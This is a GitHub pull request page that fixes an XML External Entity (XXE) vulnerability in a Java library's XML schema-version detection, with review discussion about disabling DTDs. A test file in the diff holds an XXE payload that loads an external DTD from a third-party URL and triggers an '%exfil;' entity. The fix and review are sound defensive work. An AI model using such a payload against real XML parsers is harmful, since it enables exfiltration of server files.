Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix possible XXE during XML schema version detection #434

Merged
merged 1 commit into from
Jun 21, 2024
Merged

Conversation

mr-zepol
Copy link
Contributor

During some testing, it was found that the parser for XML was vulnerable to XML External Entity (XXE) Processing.

After further investigation from Sonatype team, it was found it was due to the XPath Processing done to get the schema version

@mr-zepol mr-zepol requested a review from a team as a code owner June 19, 2024 21:07
@mr-zepol mr-zepol requested a review from nscuro June 19, 2024 21:19
@mr-zepol mr-zepol added bug Something isn't working enhancement New feature or request labels Jun 19, 2024
private List<String> extractAllNamespaceDeclarations(final InputSource in)
throws ParserConfigurationException, IOException, SAXException
{
Document doc = createSecureDocument(in);
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.

I thought about this but then I realized this part is not doing any parsing of the content, this is to get the schema version to parse to the right version, for the deserialization we use Jackson who by default has this protection enabled FasterXML/jackson-dataformat-xml#190 so even if we wanted to do this we would need to change the default behavior of Jackson

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory, but defaulting to a locked-down version.

But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.

@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://gist.githubusercontent.com/agustin-mrtz/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?

Updated it, committed the wrong file while testing

private List<String> extractAllNamespaceDeclarations(final InputSource in)
throws ParserConfigurationException, IOException, SAXException
{
Document doc = createSecureDocument(in);
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory, but defaulting to a locked-down version.

But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.

Signed-off-by: Alex Alzate <[email protected]>
@mr-zepol
Copy link
Contributor Author

hey @nscuro for some reason I can't reply to your last comment, I can do this in a new PR, I want to focus this on the fix, and then we can add the option to set their on DocumentBuilderFactory but to be honest I find it useless, this is not to parse the file, this is to get the schema version, the actual process is done with Jackson

Copy link
Member

@nscuro nscuro left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@mr-zepol I wasn't saying we should implement that, I was merely pointing out we could do it, but only when people actually start asking for it, which I think will not happen. So all good.

@nscuro nscuro changed the title XXE Protection Fix possible XXE during XML schema version detection Jun 21, 2024
@nscuro nscuro removed the enhancement New feature or request label Jun 21, 2024
@nscuro nscuro merged commit 2a9f552 into master Jun 21, 2024
9 checks passed
@nscuro nscuro deleted the xxe_protection branch June 21, 2024 08:48
@jkowalleck
Copy link
Member

jkowalleck commented Jun 24, 2024

fixes GHSA-683x-4444-jxh8

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants